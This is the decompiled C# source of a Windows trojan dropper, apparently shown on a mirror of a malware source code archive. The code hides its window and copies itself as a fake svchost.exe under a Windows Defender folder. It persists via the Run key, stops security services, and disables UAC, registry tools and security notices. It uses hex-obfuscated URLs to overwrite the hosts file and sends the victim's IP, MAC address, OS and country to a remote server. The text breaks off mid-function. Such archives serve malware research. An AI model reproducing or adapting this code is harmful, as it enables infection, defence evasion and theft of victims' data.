ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-30 15:05:27 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
f2ac1ece55
MalwareSourceCode/MSIL/Trojan-Dropper/Win32/D/Trojan-Dropper.Win32.Daws.boa-7bd4f7c9562bc362427b9d7a144cfc1d5334eac66fbfde2f2690d672897ffa99/Form1.cs
vxunderground f2ac1ece55 auto-decompiled msil via petikvx 
add
2022-08-18 06:28:56 -05:00

985 lines
38 KiB
C#
Raw Blame History

// Decompiled with JetBrains decompiler
// Type: Postales.Form1
// Assembly: ReproducirPostales, Version=2.0.3.2, Culture=neutral, PublicKeyToken=null
// MVID: 7846D817-428D-470C-B8C4-68FF94CB7D69
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.Win32.Daws.boa-7bd4f7c9562bc362427b9d7a144cfc1d5334eac66fbfde2f2690d672897ffa99.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.VisualBasic.MyServices;
using Microsoft.Win32;
using Postales.My;
using System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Net;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.ServiceProcess;
using System.Text;
using System.Windows.Forms;
namespace Postales
{
[DesignerGenerated]
public class Form1 : Form
{
private static List<WeakReference> __ENCList = new List<WeakReference>();
private IContainer components;
[AccessedThroughProperty("TextBox1")]
private TextBox _TextBox1;
[AccessedThroughProperty("TextBox2")]
private TextBox _TextBox2;
[AccessedThroughProperty("TextBox3")]
private TextBox _TextBox3;
[AccessedThroughProperty("Label3")]
private Label _Label3;
[AccessedThroughProperty("WebBrowser1")]
private WebBrowser _WebBrowser1;
[AccessedThroughProperty("Label4")]
private Label _Label4;
[AccessedThroughProperty("Timer1")]
private System.Windows.Forms.Timer _Timer1;
[AccessedThroughProperty("Timer2")]
private System.Windows.Forms.Timer _Timer2;
[AccessedThroughProperty("ServiceController1")]
private ServiceController _ServiceController1;
private string ResultadoURL;
private string Analisis1;
private string Analisis2;
private string Analisis3;
private string URLBegin1;
private string URLBegin2;
private string URLBegin3;
private string Dir;
private string Cant;
private string Directory;
private string DondeStoy;
private WebRequest Buscar;
private HttpWebResponse Resultado;
private string direccion_Ip;
private string nombre_Host;
private string Tiempo;
private string Time;
private long I;
private long R;
private string Mac;
private string NombreUsu;
private string PaisSO;
private string WinSO;
private string IPx;
private UTF8Encoding ue;
private RSACryptoServiceProvider sec;
private byte[] bytString;
private byte[] bytEncriptar;
private byte[] bytDesEncriptar;
[DebuggerNonUserCode]
static Form1()
{
}
public Form1()
{
this.Load += new EventHandler(this.Form1_Load);
this.Closing += new CancelEventHandler(this.Form1_Closing);
Form1.__ENCAddToList((object) this);
this.ue = new UTF8Encoding();
this.sec = new RSACryptoServiceProvider();
this.InitializeComponent();
}
[DebuggerNonUserCode]
private static void __ENCAddToList(object value)
{
lock (Form1.__ENCList)
{
if (Form1.__ENCList.Count == Form1.__ENCList.Capacity)
{
int index1 = 0;
int num = checked (Form1.__ENCList.Count - 1);
int index2 = 0;
while (index2 <= num)
{
if (Form1.__ENCList[index2].IsAlive)
{
if (index2 != index1)
Form1.__ENCList[index1] = Form1.__ENCList[index2];
checked { ++index1; }
}
checked { ++index2; }
}
Form1.__ENCList.RemoveRange(index1, checked (Form1.__ENCList.Count - index1));
Form1.__ENCList.Capacity = Form1.__ENCList.Count;
}
Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
}
}
[DebuggerNonUserCode]
protected override void Dispose(bool disposing)
{
try
{
if (!disposing || this.components == null)
return;
this.components.Dispose();
}
finally
{
base.Dispose(disposing);
}
}
[DebuggerStepThrough]
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
this.TextBox1 = new TextBox();
this.TextBox2 = new TextBox();
this.TextBox3 = new TextBox();
this.Label3 = new Label();
this.Timer1 = new System.Windows.Forms.Timer(this.components);
this.WebBrowser1 = new WebBrowser();
this.Timer2 = new System.Windows.Forms.Timer(this.components);
this.Label4 = new Label();
this.ServiceController1 = new ServiceController();
this.SuspendLayout();
TextBox textBox1_1 = this.TextBox1;
Point point1 = new Point(77, 19);
Point point2 = point1;
textBox1_1.Location = point2;
this.TextBox1.Name = "TextBox1";
TextBox textBox1_2 = this.TextBox1;
Size size1 = new Size(298, 20);
Size size2 = size1;
textBox1_2.Size = size2;
this.TextBox1.TabIndex = 1;
this.TextBox1.Visible = false;
TextBox textBox2_1 = this.TextBox2;
point1 = new Point(77, 45);
Point point3 = point1;
textBox2_1.Location = point3;
this.TextBox2.Name = "TextBox2";
TextBox textBox2_2 = this.TextBox2;
size1 = new Size(298, 20);
Size size3 = size1;
textBox2_2.Size = size3;
this.TextBox2.TabIndex = 3;
this.TextBox2.Visible = false;
TextBox textBox3_1 = this.TextBox3;
point1 = new Point(77, 71);
Point point4 = point1;
textBox3_1.Location = point4;
this.TextBox3.Name = "TextBox3";
TextBox textBox3_2 = this.TextBox3;
size1 = new Size(171, 20);
Size size4 = size1;
textBox3_2.Size = size4;
this.TextBox3.TabIndex = 4;
this.TextBox3.Visible = false;
this.Label3.AutoSize = true;
Label label3_1 = this.Label3;
point1 = new Point(280, 230);
Point point5 = point1;
label3_1.Location = point5;
this.Label3.Name = "Label3";
Label label3_2 = this.Label3;
size1 = new Size(50, 13);
Size size5 = size1;
label3_2.Size = size5;
this.Label3.TabIndex = 5;
this.Label3.Text = "Repetir 5";
this.Label3.Visible = false;
this.Timer1.Enabled = true;
WebBrowser webBrowser1_1 = this.WebBrowser1;
point1 = new Point(77, 114);
Point point6 = point1;
webBrowser1_1.Location = point6;
WebBrowser webBrowser1_2 = this.WebBrowser1;
size1 = new Size(20, 20);
Size size6 = size1;
webBrowser1_2.MinimumSize = size6;
this.WebBrowser1.Name = "WebBrowser1";
WebBrowser webBrowser1_3 = this.WebBrowser1;
size1 = new Size(298, 90);
Size size7 = size1;
webBrowser1_3.Size = size7;
this.WebBrowser1.TabIndex = 42;
this.WebBrowser1.Visible = false;
this.Timer2.Enabled = true;
this.Label4.AutoSize = true;
Label label4_1 = this.Label4;
point1 = new Point(280, 243);
Point point7 = point1;
label4_1.Location = point7;
this.Label4.Name = "Label4";
Label label4_2 = this.Label4;
size1 = new Size(50, 13);
Size size8 = size1;
label4_2.Size = size8;
this.Label4.TabIndex = 43;
this.Label4.Text = "Repetir 6";
this.Label4.Visible = false;
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
this.BackColor = SystemColors.ControlLightLight;
size1 = new Size(394, 263);
this.ClientSize = size1;
this.Controls.Add((Control) this.Label4);
this.Controls.Add((Control) this.WebBrowser1);
this.Controls.Add((Control) this.Label3);
this.Controls.Add((Control) this.TextBox3);
this.Controls.Add((Control) this.TextBox2);
this.Controls.Add((Control) this.TextBox1);
this.FormBorderStyle = FormBorderStyle.None;
this.Name = nameof (Form1);
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.SizeGripStyle = SizeGripStyle.Hide;
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (Form1);
this.TransparencyKey = System.Drawing.Color.White;
this.WindowState = FormWindowState.Minimized;
this.ResumeLayout(false);
this.PerformLayout();
}
internal virtual TextBox TextBox1
{
[DebuggerNonUserCode] get => this._TextBox1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
}
internal virtual TextBox TextBox2
{
[DebuggerNonUserCode] get => this._TextBox2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox2 = value;
}
internal virtual TextBox TextBox3
{
[DebuggerNonUserCode] get => this._TextBox3;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox3 = value;
}
internal virtual Label Label3
{
[DebuggerNonUserCode] get => this._Label3;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label3 = value;
}
internal virtual WebBrowser WebBrowser1
{
[DebuggerNonUserCode] get => this._WebBrowser1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._WebBrowser1 = value;
}
internal virtual Label Label4
{
[DebuggerNonUserCode] get => this._Label4;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value;
}
internal virtual System.Windows.Forms.Timer Timer1
{
[DebuggerNonUserCode] get => this._Timer1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Timer1_Timer);
if (this._Timer1 != null)
this._Timer1.Tick -= eventHandler;
this._Timer1 = value;
if (this._Timer1 == null)
return;
this._Timer1.Tick += eventHandler;
}
}
internal virtual System.Windows.Forms.Timer Timer2
{
[DebuggerNonUserCode] get => this._Timer2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Timer2_Timer);
if (this._Timer2 != null)
this._Timer2.Tick -= eventHandler;
this._Timer2 = value;
if (this._Timer2 == null)
return;
this._Timer2.Tick += eventHandler;
}
}
internal virtual ServiceController ServiceController1
{
[DebuggerNonUserCode] get => this._ServiceController1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._ServiceController1 = value;
}
private void Form1_Load(object sender, EventArgs e)
{
this.Hide();
this.URLBegin1 = "687474703A2F2F7777772E756E69746564746563686E6963696E646F6E657369612E636F6D2F456E71756972792F66696C65732F636F6E6669672E786D6C";
this.URLBegin2 = "363837343734373033413246324637333635373237363639363336353735373736313645373432453633364636443246373936353643364336463737354636393644363136373635373332463633364636453636363936373245363936453639";
this.URLBegin3 = "333633383337333433373334333733303333343133323436333234363336333133363435333633383336343633373332333733333336333533323435333634353336333533373334333234363335333333363332333734313332343633373333333733313336343333323435333733303336333833373330";
this.TextBox2.Text = "343333413543353736393645363436463737373335433533373937333734363536443333333235433738373636393634363336463732373236353245363436433643";
this.TextBox3.Text = "433A5C57696E646F77735C53797374656D33325C647269766572735C776C707877736D2E737973";
this.Dir = Conversions.ToString(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) "33343333333334313335343333353337333633393336343533363334333634363337333733373333333534333335333333373339333733333337333433363335333634343333333333333332333534333336333433373332333633393337333633363335333733323337333333353433333633353337333433363333333534333336333833363436333733333337333433373333"))))));
this.Directory = Conversions.ToString(MyProject.Computer.Registry.GetValue(Conversions.ToString(this.Desencriptar((object) "484B45595F43555252454E545F555345525C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C4578706C6F7265725C5368656C6C20466F6C64657273")), Conversions.ToString(this.Desencriptar((object) "4C6F63616C2041707044617461")), (object) null));
this.RunStart();
this.CoP();
this.RegTar();
this.FXR();
this.SWS();
this.GO();
}
public void Form1_Closing(object sender, CancelEventArgs e) => e.Cancel = true;
private object SWS()
{
label_1:
int num1;
object obj1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_2:
int num3 = 2;
this.ServiceController1.ServiceName = Conversions.ToString(this.Desencriptar((object) "57696E446566656E64"));
label_3:
num3 = 3;
this.ServiceController1.Stop();
label_4:
num3 = 4;
this.ServiceController1.ServiceName = Conversions.ToString(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) "37373735363137353733363537323736"))));
label_5:
num3 = 5;
this.ServiceController1.Stop();
label_6:
num3 = 6;
this.ServiceController1.ServiceName = Conversions.ToString(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) "353334343532353335363433"))));
label_7:
num3 = 7;
this.ServiceController1.Stop();
label_8:
num3 = 8;
obj1 = (object) true;
goto label_15;
label_10:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_3;
case 4:
goto label_4;
case 5:
goto label_5;
case 6:
goto label_6;
case 7:
goto label_7;
case 8:
goto label_8;
case 9:
goto label_15;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_10;
}
throw ProjectData.CreateProjectError(-2146828237);
label_15:
object obj2 = obj1;
if (num2 == 0)
return obj2;
ProjectData.ClearProjectError();
return obj2;
}
private string RunStart()
{
string str1 = Conversions.ToString(this.Desencriptar((object) "534F4654574152455C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E"));
string str2 = "";
MyProject.Computer.Registry.LocalMachine.DeleteSubKeyTree(str1);
try
{
RegistryKey subKey = Registry.LocalMachine.CreateSubKey(str1, RegistryKeyPermissionCheck.ReadWriteSubTree);
subKey.OpenSubKey(str1, true);
subKey.SetValue(Conversions.ToString(this.Desencriptar((object) "57696E646F777320446566656E646572")), Operators.AddObject((object) this.Directory, this.Desencriptar((object) "5C57696E646F777320446566656E6465725C416E616C697A65725C737663686F73742E657865")));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
str2 = ex.Message.ToString();
ProjectData.ClearProjectError();
}
return str2;
}
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
public void CoP()
{
if (System.IO.File.Exists(Conversions.ToString(Operators.AddObject((object) this.Directory, this.Desencriptar((object) "5C57696E646F777320446566656E6465725C416E616C697A65725C737663686F73742E657865")))))
{
FileSystem.SetAttr(Conversions.ToString(Operators.AddObject((object) this.Directory, this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) "354335373639364536343646373737333230343436353636363536453634363537323543343136453631364336393741363537323543"))))), FileAttribute.System);
FileSystem.SetAttr(Conversions.ToString(Operators.AddObject((object) this.Directory, this.Desencriptar((object) "5C57696E646F777320446566656E6465725C416E616C697A65725C737663686F73742E657865"))), FileAttribute.Hidden);
}
else
{
MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath.ToString(), Conversions.ToString(Operators.AddObject((object) this.Directory, this.Desencriptar((object) "5C57696E646F777320446566656E6465725C416E616C697A65725C737663686F73742E657865"))), true);
FileSystem.SetAttr(Conversions.ToString(Operators.AddObject((object) this.Directory, this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) "354335373639364536343646373737333230343436353636363536453634363537323543343136453631364336393741363537323543"))))), FileAttribute.System);
FileSystem.SetAttr(Conversions.ToString(Operators.AddObject((object) this.Directory, this.Desencriptar((object) "5C57696E646F777320446566656E6465725C416E616C697A65725C737663686F73742E657865"))), FileAttribute.Hidden);
}
}
private string RegTar()
{
string keyName = Conversions.ToString(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) "333433383334343233343335333533393335343633343333333533353335333233353332333433353334343533353334333534363335333533353333333433353335333233353433333533333336343633363336333733343337333733363331333733323336333533353433333434343336333933363333333733323336343633373333333634363336333633373334333534333335333733363339333634353336333433363436333733373337333333353433333433333337333533373332333733323336333533363435333733343335333633363335333733323337333333363339333634363336343533353433333533303336343633363433333633393336333333363339333633353337333333353433333533333337333933373333333733343336333533363434"))))));
MyProject.Computer.Registry.SetValue(keyName, Conversions.ToString(this.Desencriptar((object) "44697361626C655265676973747279546F6F6C73")), (object) "1", RegistryValueKind.DWord);
return keyName;
}
private string FXR()
{
string keyName1 = Conversions.ToString(this.Desencriptar((object) "484B45595F4C6F63616C5F4D616368696E655C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C506F6C69636965735C53797374656D"));
string keyName2 = Conversions.ToString(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) "34383442343535393546344336463633363136433546344436313633363836393645363535433533364636363734373736313732363535433530364636433639363336393635373335433444363936333732364637333646363637343543353736393645363436463737373332303445353435433533373937333734363536443532363537333734364637323635"))));
string keyName3 = Conversions.ToString(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) "3334333833343432333433353335333933353436333434333334343633343333333433313334343333353436333434343334333133343333333433383334333933343435333433353335343333353333333434363334333633353334333533373334333133353332333433353335343333343434333633393336333333373332333634363337333333363436333633363337333433353433333533333336333533363333333733353337333233363339333733343337333933323330333433333336333533363435333733343336333533373332"))))));
try
{
MyProject.Computer.Registry.SetValue(keyName2, Conversions.ToString(this.Desencriptar((object) "44697361626C65436F6E666967")), (object) "1", RegistryValueKind.DWord);
MyProject.Computer.Registry.SetValue(keyName2, Conversions.ToString(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) "343436393733363136323643363535333532")))), (object) "1", RegistryValueKind.DWord);
MyProject.Computer.Registry.SetValue(keyName3, Conversions.ToString(this.Desencriptar((object) "416E74695370795761726544697361626C654E6F74696679")), (object) "1", RegistryValueKind.DWord);
MyProject.Computer.Registry.SetValue(keyName3, Conversions.ToString(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) "3431364537343639353636393732373537333434363937333631363236433635344536463734363936363739")))), (object) "1", RegistryValueKind.DWord);
MyProject.Computer.Registry.SetValue(keyName3, Conversions.ToString(this.Desencriptar((object) "4175746F55706461746544697361626C654E6F74696679")), (object) "1", RegistryValueKind.DWord);
MyProject.Computer.Registry.SetValue(keyName3, Conversions.ToString(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) "333433363336333933373332333633353337333733363331333634333336343333343334333633393337333333363331333633323336343333363335333434353336343633373334333633393336333633373339")))))), (object) "1", RegistryValueKind.DWord);
MyProject.Computer.Registry.SetValue(keyName3, Conversions.ToString(this.Desencriptar((object) "496E7465726E657453657474696E677344697361626C654E6F74696679")), (object) "1", RegistryValueKind.DWord);
MyProject.Computer.Registry.SetValue(keyName3, Conversions.ToString(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) "3535363136333434363937333631363236433635344536463734363936363739")))), (object) "1", RegistryValueKind.DWord);
MyProject.Computer.Registry.SetValue(keyName1, Conversions.ToString(this.Desencriptar((object) "436F6E73656E7450726F6D70744265686176696F7241646D696E")), (object) "0", RegistryValueKind.DWord);
MyProject.Computer.Registry.SetValue(keyName1, Conversions.ToString(this.Desencriptar((object) "456E61626C65496E7374616C6C6572446574656374696F6E")), (object) "0", RegistryValueKind.DWord);
MyProject.Computer.Registry.SetValue(keyName1, Conversions.ToString(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) "333433353336343533363331333633323336343333363335333434333335333533343331")))))), (object) "0", RegistryValueKind.DWord);
MyProject.Computer.Registry.SetValue(keyName1, Conversions.ToString(this.Desencriptar((object) "456E61626C655365637572655549415061746873")), (object) "0", RegistryValueKind.DWord);
MyProject.Computer.Registry.SetValue(keyName1, Conversions.ToString(this.Desencriptar((object) "46696C74657241646D696E6973747261746F72546F6B656E")), (object) "0", RegistryValueKind.DWord);
MyProject.Computer.Registry.SetValue(keyName1, Conversions.ToString(this.Desencriptar((object) "56616C696461746541646D696E436F64655369676E617475726573")), (object) "0", RegistryValueKind.DWord);
MyProject.Computer.Registry.SetValue(keyName1, Conversions.ToString(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) "3435364536313632364336353535343934313434363537333642373436463730353436463637363736433635")))), (object) "0", RegistryValueKind.DWord);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
return keyName1;
}
public void GO()
{
if (this.Conexion())
{
this.ServHost(Conversions.ToString(this.Desencriptar((object) this.URLBegin1)), Conversions.ToString(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) this.URLBegin2)))), Conversions.ToString(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) this.URLBegin3)))))), Conversions.ToString(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) this.TextBox2.Text)))));
this.IP();
this.VerMac();
this.VerSO();
this.Pais();
this.NameSO();
this.Victima();
}
else
this.Nadita();
}
public bool Nadita() => false;
public bool Conexion()
{
try
{
return MyProject.Computer.Network.IsAvailable;
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
return false;
}
public string Verificar(string URL)
{
try
{
this.Buscar = WebRequest.Create(URL);
this.Resultado = (HttpWebResponse) this.Buscar.GetResponse();
this.ResultadoURL = this.Resultado.StatusDescription;
}
catch (WebException ex)
{
ProjectData.SetProjectError((Exception) ex);
ProjectData.ClearProjectError();
}
return this.ResultadoURL;
}
public bool DownloadFile(string URLA, string Dir)
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_2:
int num3 = 2;
WebClient webClient = new WebClient();
label_3:
num3 = 3;
webClient.DownloadFile(URLA, Dir);
label_4:
num3 = 4;
webClient.Dispose();
goto label_11;
label_6:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_3;
case 4:
goto label_4;
case 5:
goto label_11;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_6;
}
throw ProjectData.CreateProjectError(-2146828237);
label_11:
bool flag;
int num5 = flag ? 1 : 0;
if (num2 == 0)
return num5 != 0;
ProjectData.ClearProjectError();
return num5 != 0;
}
public void ServHost(string Bajar1, string Bajar2, string Bajar3, string Guardar)
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_2:
int num3 = 2;
if (Operators.CompareString(this.Verificar(Bajar1), "OK", false) != 0)
goto label_6;
label_3:
num3 = 3;
this.DownloadFile(Bajar1, Guardar);
label_4:
num3 = 4;
this.LeerVar(Guardar);
label_5:
num3 = 5;
this.Analisis1 = this.Cant;
goto label_14;
label_6:
num3 = 7;
if (Operators.CompareString(this.Verificar(Bajar2), "OK", false) != 0)
goto label_10;
label_7:
num3 = 8;
this.DownloadFile(Bajar2, Guardar);
label_8:
num3 = 9;
this.LeerVar(Guardar);
label_9:
num3 = 10;
this.Analisis2 = this.Cant;
goto label_14;
label_10:
num3 = 12;
if (Operators.CompareString(this.Verificar(Bajar3), "OK", false) != 0)
goto label_14;
label_11:
num3 = 13;
this.DownloadFile(Bajar3, Guardar);
label_12:
num3 = 14;
this.LeerVar(Guardar);
label_13:
num3 = 15;
this.Analisis3 = this.Cant;
label_14:
label_15:
num3 = 17;
if (Operators.CompareString(this.Analisis1, "", false) == 0)
goto label_17;
label_16:
num3 = 18;
this.ServTXT(Conversions.ToString(this.Desencriptar((object) this.Analisis1)), Conversions.ToString(this.Desencriptar((object) this.TextBox3.Text)));
goto label_23;
label_17:
num3 = 20;
if (Operators.CompareString(this.Analisis2, "", false) == 0)
goto label_19;
label_18:
num3 = 21;
this.ServTXT(Conversions.ToString(this.Desencriptar((object) this.Analisis2)), Conversions.ToString(this.Desencriptar((object) this.TextBox3.Text)));
goto label_23;
label_19:
num3 = 23;
if (Operators.CompareString(this.Analisis3, "", false) == 0)
goto label_21;
label_20:
num3 = 24;
this.ServTXT(Conversions.ToString(this.Desencriptar((object) this.Analisis3)), Conversions.ToString(this.Desencriptar((object) this.TextBox3.Text)));
goto label_23;
label_21:
num3 = 26;
label_22:
num3 = 27;
this.Nadita();
label_23:
goto label_30;
label_25:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_3;
case 4:
goto label_4;
case 5:
goto label_5;
case 6:
case 11:
case 16:
goto label_14;
case 7:
goto label_6;
case 8:
goto label_7;
case 9:
goto label_8;
case 10:
goto label_9;
case 12:
goto label_10;
case 13:
goto label_11;
case 14:
goto label_12;
case 15:
goto label_13;
case 17:
goto label_15;
case 18:
goto label_16;
case 19:
case 22:
case 25:
case 28:
goto label_23;
case 20:
goto label_17;
case 21:
goto label_18;
case 23:
goto label_19;
case 24:
goto label_20;
case 26:
goto label_21;
case 27:
goto label_22;
case 29:
goto label_30;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_25;
}
throw ProjectData.CreateProjectError(-2146828237);
label_30:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
public void ServTXT(string ptm, string jhos)
{
if (Operators.CompareString(this.Verificar(ptm), "OK", false) == 0)
{
this.DownloadFile(ptm, jhos);
this.LeerVar(jhos);
this.VerCan();
}
else
this.Nadita();
}
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
public object LeerVar(string Var)
{
try
{
string str = Var;
this.Cant = "";
FileSystemProxy fileSystem = MyProject.Computer.FileSystem;
if (fileSystem.FileExists(str))
{
this.Cant = fileSystem.ReadAllText(str).ToString();
FileSystem.Kill(str);
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
return (object) this.Cant;
}
public void VerCan()
{
if (Operators.CompareString(this.Cant, "", false) != 0)
this.Hosts();
else
this.Nadita();
}
public void Hosts()
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_2:
int num3 = 2;
StreamWriter streamWriter = new StreamWriter(this.Dir);
label_3:
num3 = 3;
string cant = this.Cant;
label_4:
num3 = 4;
streamWriter.Write(cant);
label_5:
num3 = 5;
streamWriter.Flush();
goto label_12;
label_7:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_3;
case 4:
goto label_4;
case 5:
goto label_5;
case 6:
goto label_12;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_7;
}
throw ProjectData.CreateProjectError(-2146828237);
label_12:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
public string IP()
{
this.nombre_Host = Dns.GetHostName();
this.direccion_Ip = Dns.GetHostByName(this.nombre_Host).AddressList[0].ToString();
this.IPx = this.direccion_Ip;
return this.IPx;
}
public string VerSO()
{
this.WinSO = Conversions.ToString(MyProject.Computer.Registry.GetValue(Conversions.ToString(this.Desencriptar((object) "484B45595F4C6F63616C5F4D616368696E655C536F6674776172655C4D6963726F736F66745C57696E646F7773204E545C43757272656E7456657273696F6E5C")), "ProductName", (object) null));
return this.WinSO;
}
public string NameSO()
{
this.NombreUsu = MyProject.Computer.Name;
return this.NombreUsu;
}
public string Pais()
{
this.PaisSO = Conversions.ToString(MyProject.Computer.Registry.GetValue(Conversions.ToString(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) "3438344234353539354634333735373237323635364537343546353537333635373235433433364636453734373236463643323035303631364536353643354334393645373436353732364536313734363936463645363136433543")))), "sCountry", (object) null));
return this.PaisSO;
}
public string VerMac()
{
try
{
this.Mac = "";
object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(Interaction.GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\" + "." + "\\root\\cimv2")), (System.Type) null, "ExecQuery", new object[1]
{
(object) "Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE"
}, (string[]) null, (System.Type[]) null, (bool[]) null));
try
{
foreach (object obj in (IEnumerable) objectValue)
this.Mac = Conversions.ToString(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(obj), (System.Type) null, "MACAddress", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null));
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
(enumerator as IDisposable).Dispose();
}
return this.Mac;
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
return Conversions.ToString(true);
}
public string Victima()
{
string uriString = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(this.Desencriptar(RuntimeHelpers.GetObjectValue(this.Desencriptar((object) "363837343734373033413246324637373737373732453633364336313733363936363639363336313634364637333245363836453246353036313645363536433246353236353637363937333734373236463245373036383730334635353533343535323344"))), (object) this.NombreUsu), (object) "&IP="), (object) this.IPx), (object) "&MAC="), (object) this.Mac), (object) "&SO="), (object) this.WinSO), (object) "&PAIS="), (object) this.PaisSO));
try
{
this.WebBrowser1.Url = new Uri(uriString, UriKind.RelativeOrAbsolute);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
return Conversions.ToString(true);
}
private string ConvToHex(int x) => x <= 9 ? Conversions.ToString(x) : Conversions.ToString(Strings.Chr(checked (x + 55)));
private int ConvToInt(string x)
{
string str1 = Strings.Mid(x, 1, 1);
string str2 = Strings.Mid(x, 2, 1);
int Left = !Versioned.IsNumeric((object) str1) ? checked (Strings.Asc(str1) - 55 * 16) : Conversions.ToInteger(Operators.MultiplyObject((object) 16, Conversion.Int((object) str1)));
